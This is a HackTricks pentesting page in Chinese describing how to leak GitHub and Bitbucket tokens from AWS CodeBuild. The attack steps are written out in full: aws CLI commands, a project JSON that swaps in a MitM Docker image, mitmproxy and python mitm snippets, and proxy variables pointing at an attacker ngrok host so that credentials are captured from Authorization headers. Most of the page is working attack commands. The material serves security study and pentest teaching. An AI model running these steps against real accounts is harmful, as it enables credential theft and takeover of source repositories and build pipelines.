AWS Codebuild - Token Leakage

支持 HackTricks

恢复 Github/Bitbucket 配置的 Tokens

首先,检查是否有任何配置的源凭证可以泄露:

aws codebuild list-source-credentials

通过 Docker 镜像

如果你发现账户中设置了对例如 Github 的认证,你可以通过让 Codebuild 使用特定的 Docker 镜像 来运行项目构建,从而泄露访问(GH token 或 OAuth token)。

为此,你可以创建一个新的 Codebuild 项目或更改现有项目的环境以设置Docker 镜像

你可以使用的 Docker 镜像是 https://github.com/carlospolop/docker-mitm。这是一个非常基础的 Docker 镜像,它将设置环境变量 https_proxyhttp_proxySSL_CERT_FILE。这将允许你拦截主机中大部分的流量,主机由 https_proxyhttp_proxy 指定,并信任 SSL_CERT_FILE 中指定的 SSL 证书。

  1. 创建并上传你自己的 Docker MitM 镜像

  • 按照仓库的说明设置你的代理 IP 地址和 SSL 证书,并构建 Docker 镜像

  • 不要设置 http_proxy 以避免拦截到元数据端点的请求。

  • 你可以使用 ngrok,例如 ngrok tcp 4444,将代理设置到你的主机。

  • 一旦你构建了 Docker 镜像,将其上传到公共仓库(Dockerhub, ECR...)。

  1. 设置环境

  • 创建一个新的 Codebuild 项目修改现有项目的环境。

  • 将项目设置为使用之前生成的 Docker 镜像

  1. 在你的主机上设置 MitM 代理

  • Github 仓库中所示,你可以使用类似的东西:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

mitmproxy 版本使用的是 9.0.1,据报告在版本 10 中可能无法工作。

  1. 运行构建并捕获凭证

  • 你可以在 Authorization 头中看到 token:

这也可以通过 aws cli 完成,类似于

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

通过 HTTP 协议

AWS 在 2023 年 2 月 20 日那周的某个时间(我认为是星期五)修正了这个漏洞。所以攻击者不能再滥用了 :)

具有 CodeBuild 高级权限的攻击者可以泄露配置的 Github/Bitbucket 令牌,或者如果权限是通过 OAuth 配置的,则可以泄露 用于访问代码的临时 OAuth 令牌

  • 攻击者可以将环境变量 http_proxyhttps_proxy 添加到指向他机器的 CodeBuild 项目中(例如 http://5.tcp.eu.ngrok.io:14972)。

  • 然后,将 github 仓库的 URL 更改为使用 HTTP 而不是 HTTPS,例如:**http://**github.com/carlospolop-forks/TestActions

  • 然后,在代理变量(http_proxy 和 https_proxy)指向的端口上运行 https://github.com/synchronizing/mitm 中的基本示例

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • 最后,点击 Build the project凭证 将以 明文 (base64) 形式发送到 mitm 端口:

现在攻击者将能够从他的机器上使用该 token,列出它拥有的所有权限,并且比直接使用 CodeBuild 服务更容易滥用。

支持 HackTricks

Last updated